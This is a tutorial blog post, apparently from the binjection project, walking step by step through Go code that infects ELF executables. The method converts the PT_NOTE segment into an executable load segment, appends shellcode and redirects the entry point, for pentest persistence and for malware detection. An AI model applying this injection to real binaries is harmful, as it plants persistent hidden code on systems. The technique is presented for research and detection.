We’ve recently checked in a new injection method for ELF executables into binjection, based on the PT_NOTE segment. This method of infection is both really handy (read: easy to implement) and has a high success rate on ET_EXEC binaries without breaking the binary.
Understanding the techniques of binary injection is useful to both the penetration tester and the reverse engineer who is analyzing files for malware. For the pentester, having a common file such as /bin/ls execute arbitrary code each time it is run is useful in establishing and maintaining persistence. A reverse engineer who notices that an ELF binary has 3 PT_LOAD segments and no PT_NOTE segment can safely assume that the binary at the very least is suspect, and should be evaluated further.
The breakdown of the algorithm
Most ET_EXEC binaries (but not golang! [1]) have a PT_NOTE segment that can be entirely overwritten without affecting program execution. The same segment can also be transformed into a loadable segment, where executable instructions can be placed.
We will go through the algorithm next, step by step. If you need a primer on the basics of ELF files and their headers, read this article before proceeding. When you’re ready, open the binjection source code and follow along.
1. Open the ELF file to be injected:
1 2 3 4 |
elfFile, err := elf.Open(sourceFile) if err != nil { return err } |
2. Save the original entry point, e_entry:
1 |
oldEntry = elfFile.FileHeader.Entry |
3. Parse the program header table, looking for the PT_NOTE segment:
1 2 3 4 5 |
for _, p := range elfFile.Progs { if p.Type == elf.PT_NOTE { // do our modifications here } } |
4. Convert the PT_NOTE segment to a PT_LOAD segment:
1 |
p.Type = elf.PT_LOAD |
5. Change the memory protections for this segment to allow executable instructions:
1 |
p.Flags = elf.PF_R | elf.PF_X |
6. Change the entry point address to an area that will not conflict with the original program execution.
We will use 0xc000000. Pick an address that will be sufficiently far enough beyond the end of the original program’s end so that when loaded it does not overlap. 0xc000000 will work on most executables, but to be safe you should check before choosing.
1 |
p.Vaddr = 0xc000000 + uint64(fsize) |
7. Adjust the size on disk and virtual memory size to account for the size of the injected code:
1 2 |
p.Filesz += injectSize p.Memsz += injectSize |
8. Point the offset of our converted segment to the end of the original binary, where we will store the new code:
1 |
p.Off = uint64(fsize) |
9. Patch the end of the code with instructions to jump to the original entry point:
1 |
shellcode = api.ApplySuffixJmpIntel64(userShellCode, uint32(scAddr), uint32(oldEntry), elfFile.ByteOrder) |
10. Add our injected code to the end of the file:
1 |
elfFile.InsertionEOF = shellcode |
11. Write the file back to disk, over the original file:
1 |
return elfFile.WriteFile(destFile) |
-= We’re done! =-
Notes on system and interpreter differences of PT_NOTE
The ELF ABI specification doesn’t describe a way in which this segment must be used, therefore it is inevitable that the researcher will find binaries that use the NOTE segment in unique ways. These are sometimes system specific
(BSD varieties have a lot of possible notes), and sometimes original language specific, as in Go binaries.
Final Thoughts
PT_NOTE injection of ET_EXEC ELF binaries is a solid and tested method for the pentester. It is fast and relatively easy to implement, and will work on a high percentage of Linux binaries without modification to the algorithm.
It is probably the easiest of the injection algorithms to start out with, for those new to this area.
Understanding this method of injection is valuable to the budding reverse engineer, an easy red flag to look for in the first of many injection methods that you will encounter over time.
ELF injection is an art-form, and to people on either side of the aisle who enjoy this type of binary analysis and manipulation, the myriad of tricks to implement and detect these methods provide a vast playground with nearly
endless possibilities.
I hope that this article will be useful to those attempting to begin and advance their work in this area.
All that we are is the result of what we have thought.
— Buddhist quote
[1] golang binaries do a unique thing with the PT_NOTE segment. It contains data that must be present during execution, therefore this injection method will not work on them… more on this to follow…